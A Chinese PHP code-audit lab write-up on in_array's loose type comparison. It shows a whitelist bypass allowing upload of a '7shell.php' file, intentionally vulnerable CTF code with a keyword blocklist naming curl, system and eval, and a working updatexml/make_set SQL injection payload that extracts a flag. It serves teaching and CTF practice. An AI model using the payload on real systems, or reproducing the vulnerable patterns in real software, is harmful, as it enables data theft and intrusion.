1. 程式人生 > 實用技巧 >PHP-Audit-Labs-Day1 - in_array函式缺陷

PHP-Audit-Labs-Day1 - in_array函式缺陷

函式缺陷原理分析

先看一段簡單的原始碼

class Challenge{
    const UPLOAD_DIRECTORY = './solutions/';
    private $file;
    private $whitelist;

    public function __construct($file)
    {
        $this->file = $file;
        $this->whitelist = range(1,24);
    }

    public function __destruct()
    {
        if (in_array($this->file['name'], $this->whitelist))
        {
            move_uploaded_file(
                $this->file['tmp_name'],
                self::UPLOAD_DIRECTORY . $this->file['name']
            );
        }
    }
}
$challenge = new Challenge($_FILES['solution']);

首先看這段程式碼的功能,它實現的是一個上傳的功能。漏洞點在於

in_array($this->file['name'], $this->whitelist)

再看in_array函式的使用:

in_array :(PHP 4, PHP 5, PHP 7)
功能 :檢查陣列中是否存在某個值
定義 : bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
        在 $haystack 中搜索 $needle ,如果第三個引數 $strict 的值為 TRUE ,
        則 in_array() 函式會進行強檢查,
        檢查 $needle 的型別是否和 $haystack 中的相同。如果找到 $haystack ,則返回 TRUE,否則返回 FALSE。

這個函式會在第二個引數中搜索第一個引數。關鍵點在於第三個引數$strict。這個引數只有True和False。預設的是False,即不開啟PHP的強檢查,也就是說我們可以成功的上傳一個7shell.php檔案,因為7shell.php是字串,在與數字比較前會被型別轉換成7,7在白名單的範圍之內,成功上傳。這個點導致了任意檔案上傳功能。

修復方法

1、開啟第三個引數為True

一道由in_array造成sql報錯注入的CTF題

先在本地搭建一下環境。

//index.php
<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
    die("連線失敗: ");
}

$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    $whitelist = range(1, $row['COUNT(*)']);
}

$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";

if (!in_array($id, $whitelist)) {
    die("id $id is not in whitelist.");
}

$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    echo "<center><table border='1'>";
    foreach ($row as $key => $value) {
        echo "<tr><td><center>$key</center></td><br>";
        echo "<td><center>$value</center></td></tr><br>";
    }
    echo "</table></center>";
}
else{
    die($conn->error);
}

?>
//config.php
<?php  
$servername = "localhost";
$username = "fire";
$password = "fire";
$dbname = "day1";

function stop_hack($value){
	$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
	$back_list = explode("|",$pattern);
	foreach($back_list as $hack){
		if(preg_match("/$hack/i", $value))
			die("$hack detected!");
	}
	return $value;
}
?>
# 搭建CTF環境使用的sql語句
create database day1;
use day1;
create table users (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
salary int(8) unsigned not null );

INSERT INTO users VALUES(1,'Lucia','[email protected]',3000);
INSERT INTO users VALUES(2,'Danny','[email protected]',4500);
INSERT INTO users VALUES(3,'Alina','[email protected]',2700);
INSERT INTO users VALUES(4,'Jameson','[email protected]',10000);
INSERT INTO users VALUES(5,'Allie','[email protected]',6000);

create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{1n0rrY_i3_Vu1n3rab13}');

一開始提示我們加一個id引數。

id=1 and 1=1有回顯,id=1 and 1=2異常。存在數字型注入。id=5有回顯,id=6報錯,一共存在5列。接著暴資料,但是從程式碼裡面看到存在過濾字元。updatexml沒有被過濾,使用報錯注入,但是concat被禁了,無法拼接資料。這裡用到了make_set()函式。
我們先看make_set這個函式的定義

make_set()的用法

返回一個設定值(含子字串分隔字串。,。字元)由那些在設定位的相應位的字串。str1對應於位0,str2至位1,以此類推。NULL值在str1,str2,...不新增到結果。

make_set()應用例項


9化成二進位制是1001,倒過來也是1001,那麼對應四位數,a對應1,取,b和c對應0,不取,d對應1,取,所以結果是a,d。10化成二進位制是1010,倒過來就是0101,a對應0,不取,b對應1,取,c對應0,不取,d對應1,取。所以結果是b,d。
再看

1|4表示進行或運算,為0001 | 0100,得0101,倒過來排序,為1010,同上方法結果是a,c。
但是還有一種就是str裡面有null的。

如果null對應到了1那麼直接跳過。

payload

3化成二進位制是11,倒過來也是11,updatexml報錯注入的原理就是Xpath語法遇到特殊字元會報錯,並且返回非法格式報錯的內容,這裡對應1,select database()也對應1。所以能把資料暴出來。

?id=1 and  updatexml(1,make_set(3,'~',(select flag from flag limit 1)),1)

這裡碰到了一個小錯誤。在刪掉limit1 之後報錯Subquery returns more than 1 row,加個limit 1就好了。因為是白盒測試就直接讀flag了。

漏洞成因

先看整個程式碼的邏輯,白名單是1到5,對id引數進行stop_hack過濾,然後將id的引數代入到$sql語句中,但是因為

if (!in_array($id, $whitelist)) {
    die("id $id is not in whitelist.");
}

in_array沒有開啟強比較,我們的注入語句可以過去。就像這樣

<?php
$id = "1 and  updatexml(1,make_set(3,'~',(select flag from flag limit 1)),1)";
$whitelist  = range(1,5);
if(!in_array($id,$whitelist)){
    echo "True";
}
else{
    echo "False";
}

id在比較的時候變成了1,1在$whitelist內得到False。

接著執行我們的sql語句,就可以暴出資料